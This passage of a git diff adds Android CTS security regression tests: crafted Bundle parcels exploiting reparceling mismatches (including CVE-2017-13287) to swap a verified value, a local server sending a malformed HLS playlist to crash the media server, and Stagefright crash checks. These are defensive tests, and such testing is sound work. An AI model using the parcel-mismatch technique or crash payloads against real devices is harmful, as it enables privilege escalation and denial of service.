+ parcel.writeInt(preReSerialize.size() + 1);
+ parcel.writeString(key);
+
+ parcel.writeInt(VAL_OBJECTARRAY);
+ parcel.writeInt(3);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("com.android.internal.app.procstats.ProcessStats");
+
+ parcel.writeInt(PROCSTATS_MAGIC);
+ parcel.writeInt(PROCSTATS_PARCEL_VERSION);
+ parcel.writeInt(PROCSTATS_STATE_COUNT);
+ parcel.writeInt(PROCSTATS_ADJ_COUNT);
+ parcel.writeInt(PROCSTATS_PSS_COUNT);
+ parcel.writeInt(PROCSTATS_SYS_MEM_USAGE_COUNT);
+ parcel.writeInt(PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE);
+
+ parcel.writeLong(0);
+ parcel.writeLong(0);
+ parcel.writeLong(0);
+ parcel.writeLong(0);
+ parcel.writeLong(0);
+ parcel.writeString(null);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(1);
+ parcel.writeInt(1);
+ parcel.writeInt(0);
+
+ for (int i = 0; i < PROCSTATS_ADJ_COUNT; i++) {
+ parcel.writeInt(0);
+ }
+
+ parcel.writeInt(0);
+ parcel.writeInt(1);
+ parcel.writeInt(0);
+
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(1);
+ parcel.writeInt(VAL_LONGARRAY);
+ parcel.writeString("AAAAA");
+ parcel.writeInt(0);
+
+ parcel.writeInt(VAL_INTEGER);
+ parcel.writeInt(0);
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+
+ @Override
+ protected String makeStringToInject(Bundle stuffToInject, Random random) {
+ return null;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ @SecurityTest
public void test_android_CVE_2017_13287() throws Exception {
+ Ambiguator ambiguator = new Ambiguator() {
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+ padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+ String key2;
+ int key2Hash;
+ do {
+ key2 = makeStringToInject(postReSerialize, random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || key2Hash <= keyHash);
+
+
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 2);
+ parcel.writeString(key);
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
+
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_NULL);
+
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+
+ @Override
+ protected String makeStringToInject(Bundle stuffToInject, Random random) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(0);
+ p.writeInt(0);
+
+ Parcel p2 = Parcel.obtain();
+ stuffToInject.writeToParcel(p2, 0);
+ int p2Len = p2.dataPosition() - BUNDLE_SKIP;
+
+ for (int i = 0; i < p2Len / 4 + 4; i++) {
+ int paddingVal;
+ if (i > 3) {
+ paddingVal = i;
+ } else {
+ paddingVal = random.nextInt();
+ }
+ p.writeInt(paddingVal);
+
+ }
+
+ p.appendFrom(p2, BUNDLE_SKIP, p2Len);
+ p2.recycle();
+
+ while (p.dataPosition() % 8 != 0) p.writeInt(0);
+ for (int i = 0; i < 2; i++) {
+ p.writeInt(0);
+ }
+
+ int len = p.dataPosition() / 2 - 1;
+ p.writeInt(0); p.writeInt(0);
+ p.setDataPosition(0);
+ p.writeInt(len);
+ p.writeInt(len);
+ p.setDataPosition(0);
+ String result = p.readString();
+ p.recycle();
+ return result;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ private void testAmbiguator(Ambiguator ambiguator) {
Bundle bundle;
- {
- Bundle verifyMe = new Bundle();
- verifyMe.putString("cmd", "something_safe");
- Bundle useMe = new Bundle();
- useMe.putString("cmd", "replaced_thing");
- Ambiguator a = new Ambiguator() {
- @Override
- public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
- Random random = new Random(1234);
- int minHash = 0;
- for (String s : preReSerialize.keySet()) {
- minHash = Math.min(minHash, s.hashCode());
- }
- for (String s : postReSerialize.keySet()) {
- minHash = Math.min(minHash, s.hashCode());
- }
+ Bundle verifyMe = new Bundle();
+ verifyMe.putString("cmd", "something_safe");
+ Bundle useMe = new Bundle();
+ useMe.putString("cmd", "replaced_thing");
- String key;
- int keyHash;
+ try {
+ bundle = ambiguator.make(verifyMe, useMe);
- do {
- key = randomString(random);
- keyHash = key.hashCode();
- } while (keyHash >= minHash);
+ bundle = reparcel(bundle);
+ String value1 = bundle.getString("cmd");
+ bundle = reparcel(bundle);
+ String value2 = bundle.getString("cmd");
- padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
- padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
-
- String key2;
- int key2Hash;
- do {
- key2 = makeStringToInject(postReSerialize, random);
- key2Hash = key2.hashCode();
- } while (key2Hash >= minHash || key2Hash <= keyHash);
-
-
- Parcel parcel = Parcel.obtain();
-
- parcel.writeInt(preReSerialize.size() + 2);
- parcel.writeString(key);
-
- parcel.writeInt(VAL_PARCELABLE);
- parcel.writeString("com.android.internal.widget.VerifyCredentialResponse");
-
- parcel.writeInt(0);
- parcel.writeInt(0);
-
- parcel.writeString(key2);
- parcel.writeInt(VAL_NULL);
-
- writeBundleSkippingHeaders(parcel, preReSerialize);
-
- parcel.setDataPosition(0);
- Bundle bundle = new Bundle();
- parcelledDataField.set(bundle, parcel);
- return bundle;
- }
-
- @Override
- protected String makeStringToInject(Bundle stuffToInject, Random random) {
- Parcel p = Parcel.obtain();
- p.writeInt(0);
- p.writeInt(0);
-
- Parcel p2 = Parcel.obtain();
- stuffToInject.writeToParcel(p2, 0);
- int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
- for (int i = 0; i < p2Len / 4 + 4; i++) {
- int paddingVal;
- if (i > 3) {
- paddingVal = i;
- } else {
- paddingVal = random.nextInt();
- }
- p.writeInt(paddingVal);
-
- }
-
- p.appendFrom(p2, BUNDLE_SKIP, p2Len);
- p2.recycle();
-
- while (p.dataPosition() % 8 != 0) p.writeInt(0);
- for (int i = 0; i < 2; i++) {
- p.writeInt(0);
- }
-
- int len = p.dataPosition() / 2 - 1;
- p.writeInt(0); p.writeInt(0);
- p.setDataPosition(0);
- p.writeInt(len);
- p.writeInt(len);
- p.setDataPosition(0);
- String result = p.readString();
- p.recycle();
- return result;
- }
- };
- bundle = a.make(verifyMe, useMe);
- }
-
- bundle = reparcel(bundle);
- String value1 = bundle.getString("cmd");
- bundle = reparcel(bundle);
- String value2 = bundle.getString("cmd");
-
- if (!value1.equals(value2)) {
- fail("String " + value1 + "!=" + value2 + " after reparceling.");
+ if (!value1.equals(value2)) {
+ fail("String " + value1 + "!=" + value2 + " after reparceling.");
+ }
+ } catch (Exception e) {
}
}
@@ -159,10 +262,23 @@
static abstract class Ambiguator {
- protected static final int VAL_PARCELABLE = 4;
protected static final int VAL_NULL = -1;
+ protected static final int VAL_INTEGER = 1;
+ protected static final int VAL_BUNDLE = 3;
+ protected static final int VAL_PARCELABLE = 4;
+ protected static final int VAL_OBJECTARRAY = 17;
+ protected static final int VAL_INTARRAY = 18;
+ protected static final int VAL_LONGARRAY = 19;
protected static final int BUNDLE_SKIP = 12;
+ protected static final int PROCSTATS_MAGIC = 0x50535454;
+ protected static final int PROCSTATS_PARCEL_VERSION = 21;
+ protected static final int PROCSTATS_STATE_COUNT = 14;
+ protected static final int PROCSTATS_ADJ_COUNT = 8;
+ protected static final int PROCSTATS_PSS_COUNT = 7;
+ protected static final int PROCSTATS_SYS_MEM_USAGE_COUNT = 16;
+ protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
+
protected final Field parcelledDataField;
public Ambiguator() throws Exception {
diff --git a/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
new file mode 100644
index 0000000..4252614
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/MediaRecorderInfoLeakTest.java
@@ -0,0 +1,58 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import android.media.MediaRecorder;
+import android.test.AndroidTestCase;
+
+@SecurityTest
+public class MediaRecorderInfoLeakTest extends AndroidTestCase {
+
+ /**
+ * b/27855172
+ */
+ @SecurityTest(minPatchLevel = "2016-06")
+ public void test_cve_2016_2499() throws Exception {
+ MediaRecorder mediaRecorder = null;
+ try {
+ for (int i = 0; i < 1000; i++) {
+ mediaRecorder = new MediaRecorder();
+ mediaRecorder.setAudioSource(MediaRecorder.AudioSource.DEFAULT);
+ mediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+ mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+ mediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H263);
+ mediaRecorder.setVideoFrameRate(30);
+ mediaRecorder.setVideoSize(352, 288);
+ mediaRecorder.setOutputFile("/sdcard/record.output");
+ mediaRecorder.prepare();
+ int test = mediaRecorder.getMaxAmplitude();
+ mediaRecorder.release();
+ if(test != 0){
+ fail("MediaRecorderInfoLeakTest failed");
+ }
+ }
+ } catch (Exception e) {
+ fail("Media Recorder Exception" + e.getMessage());
+ } finally {
+ if (mediaRecorder != null){
+ mediaRecorder.release();
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 72aff71..556031b 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -113,7 +113,10 @@
// Test package to verify upgrades to privileged applications
"com.android.cts.priv.ctsshim",
- "com.android.cts.ctsshim"
+ "com.android.cts.ctsshim",
+
+ // Oom Catcher package to prevent tests from ooming device.
+ "com.android.cts.oomcatcher"
));
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index dfe55f5..90698ca 100755
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -56,6 +56,10 @@
import java.net.URL;
import java.nio.ByteBuffer;
import java.io.FileOutputStream;
+import java.io.OutputStream;
+import java.io.InputStream;
+import java.net.Socket;
+import java.net.ServerSocket;
import java.io.File;
import java.util.ArrayList;
import java.util.HashMap;
@@ -547,14 +551,6 @@
}
@SecurityTest
- public void testStagefright_bug_63522067() throws Exception {
- doStagefrightTestRawBlob(R.raw.bug_63522067_1_hevc, "video/hevc", 320, 420);
- doStagefrightTestRawBlob(R.raw.bug_63522067_2_hevc, "video/hevc", 320, 420);
- doStagefrightTestRawBlob(R.raw.bug_63522067_3_hevc, "video/hevc", 320, 420);
- doStagefrightTestRawBlob(R.raw.bug_63522067_4_hevc, "video/hevc", 320, 420);
- }
-
- @SecurityTest
public void testStagefright_bug_25765591() throws Exception {
doStagefrightTest(R.raw.bug_25765591);
}
@@ -610,6 +606,11 @@
}
@SecurityTest
+ public void testStagefright_cve_2016_3756() throws Exception {
+ doStagefrightTest(R.raw.cve_2016_3756);
+ }
+
+ @SecurityTest
public void testStagefright_bug_36592202() throws Exception {
Resources resources = getInstrumentation().getContext().getResources();
AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
@@ -827,6 +828,91 @@
***********************************************************/
@SecurityTest
+ public void testStagefright_bug_68342866() throws Exception {
+ Thread server = new Thread() {
+ @Override
+ public void run() {
+ try (ServerSocket serverSocket = new ServerSocket(8080);
+ Socket conn = serverSocket.accept()) {
+ OutputStream outputstream = conn.getOutputStream();
+ InputStream inputStream = conn.getInputStream();
+ byte input[] = new byte[65536];
+ inputStream.read(input, 0, 65536);
+ String inputStr = new String(input);
+ if (inputStr.contains("bug_68342866.m3u8")) {
+ byte http[] = ("HTTP/1.0 200 OK\r\nContent-Type: application/x-mpegURL\r\n\r\n")
+ .getBytes();
+ byte playlist[] = new byte[] { 0x23, 0x45, 0x58, 0x54,
+ 0x4D, 0x33, 0x55, 0x0A, 0x23, 0x45, 0x58, 0x54,
+ 0x2D, 0x58, 0x2D, 0x53, 0x54, 0x52, 0x45, 0x41,
+ 0x4D, 0x2D, 0x49, 0x4E, 0x46, 0x46, 0x43, 0x23,
+ 0x45, 0x3A, 0x54, 0x42, 0x00, 0x00, 0x00, 0x0A,
+ 0x00, 0x00, 0x00, 0x00, 0x00, (byte) 0xFF,
+ (byte) 0xFF, (byte) 0xFF, (byte) 0xFF,
+ (byte) 0xFF, (byte) 0xFF, 0x3F, 0x2C, 0x4E,
+ 0x46, 0x00, 0x00 };
+ outputstream.write(http);
+ outputstream.write(playlist);
+ }
+ } catch (IOException e) {
+ }
+ }
+ };
+ server.start();
+ String uri = "http://127.0.0.1:8080/bug_68342866.m3u8";
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+ LooperThread t = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ mp.setOnPreparedListener(mpcl);
+ mp.setOnCompletionListener(mpcl);
+ Surface surface = getDummySurface();
+ mp.setSurface(surface);
+ AssetFileDescriptor fd = null;
+ try {
+ mp.setDataSource(uri);
+ mp.prepareAsync();
+ } catch (IOException e) {
+ Log.e(TAG, e.toString());
+ } finally {
+ closeQuietly(fd);
+ }
+ Looper.loop();
+ mp.release();
+ }
+ });
+ t.start();
+ assertFalse("Device *IS* vulnerable to BUG-68342866",
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ t.stopLooper();
+ t.join();
+ server.join();
+ }
+
+ @SecurityTest
+ public void testStagefright_bug_74114680() throws Exception {
+ doStagefrightTest(R.raw.bug_74114680_ts, (10 * 60 * 1000));
+ }
+
+ @SecurityTest
+ public void testStagefright_bug_70239507() throws Exception {
+ doStagefrightTestExtractorSeek(R.raw.bug_70239507,1311768465173141112L);
+ }
+
+ @SecurityTest
+ public void testBug_33250932() throws Exception {
+ int[] frameSizes = {65, 11, 102, 414};
+ doStagefrightTestRawBlob(R.raw.bug_33250932_avc, "video/avc", 640, 480, frameSizes);
+ }
+
+ @SecurityTest
+ public void testStagefright_bug_37430213() throws Exception {
+ doStagefrightTest(R.raw.bug_37430213);
+ }
+
+ @SecurityTest
public void testStagefright_bug_68664359() throws Exception {
doStagefrightTest(R.raw.bug_68664359, 60000);
}
@@ -934,6 +1020,21 @@
doStagefrightTest(R.raw.bug_65484460);
}
+ @SecurityTest
+ public void testStagefright_cve_2017_18155() throws Exception {
+ doStagefrightTest(R.raw.cve_2017_18155);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2018_9423() throws Exception {
+ doStagefrightTest(R.raw.cve_2018_9423);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2016_3879() throws Exception {
+ doStagefrightTest(R.raw.cve_2016_3879);
+ }
+
private void doStagefrightTest(final int rid) throws Exception {
doStagefrightTestMediaPlayer(rid);
doStagefrightTestMediaCodec(rid);
@@ -1781,4 +1882,68 @@
t.stopLooper();
t.join(); // wait for thread to exit so we're sure the player was released
}
+
+ private void doStagefrightTestExtractorSeek(final int rid, final long offset) throws Exception {
+ final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+ LooperThread thr = new LooperThread(new Runnable() {
+ @Override
+ public void run() {
+ MediaPlayer mp = new MediaPlayer();
+ mp.setOnErrorListener(mpcl);
+ try {
+ AssetFileDescriptor fd = getInstrumentation().getContext().getResources()
+ .openRawResourceFd(R.raw.good);
+ mp.setDataSource(fd.getFileDescriptor(),
+ fd.getStartOffset(),
+ fd.getLength());
+ fd.close();
+ } catch (Exception e) {
+ fail("setDataSource of known-good file failed");
+ }
+ synchronized(mpcl) {
+ mpcl.notify();
+ }
+ Looper.loop();
+ mp.release();
+ }
+ });
+ thr.start();
+ synchronized(mpcl) {
+ mpcl.wait();
+ }
+ Resources resources = getInstrumentation().getContext().getResources();
+ MediaExtractor ex = new MediaExtractor();
+ AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+ try {
+ ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ } catch (IOException e) {
+ } finally {
+ closeQuietly(fd);
+ }
+ int numtracks = ex.getTrackCount();
+ String rname = resources.getResourceEntryName(rid);
+ Log.i(TAG, "start mediaextractor test for: " + rname + ", which has " + numtracks + " tracks");
+ for (int t = 0; t < numtracks; t++) {
+ try {
+ ex.selectTrack(t);
+ } catch (IllegalArgumentException e) {
+ Log.w(TAG, "couldn't select track " + t);
+ }
+ ex.seekTo(0, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+ ex.advance();
+ ex.seekTo(offset, MediaExtractor.SEEK_TO_NEXT_SYNC);
+ try
+ {
+ ex.unselectTrack(t);
+ }
+ catch (Exception e) {
+ }
+ }
+ ex.release();
+ String cve = rname.replace("_", "-").toUpperCase();
+ assertFalse("Device *IS* vulnerable to " + cve,
+ mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+ thr.stopLooper();
+ thr.join();
+ }
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index ef96a70..3ce66ac 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -787,7 +787,6 @@
@Override
public void onLoadResource(WebView view, String url) {
super.onLoadResource(view, url);
- assertTrue(mOnPageStartedCalled);
mOnLoadResourceCalled = true;
}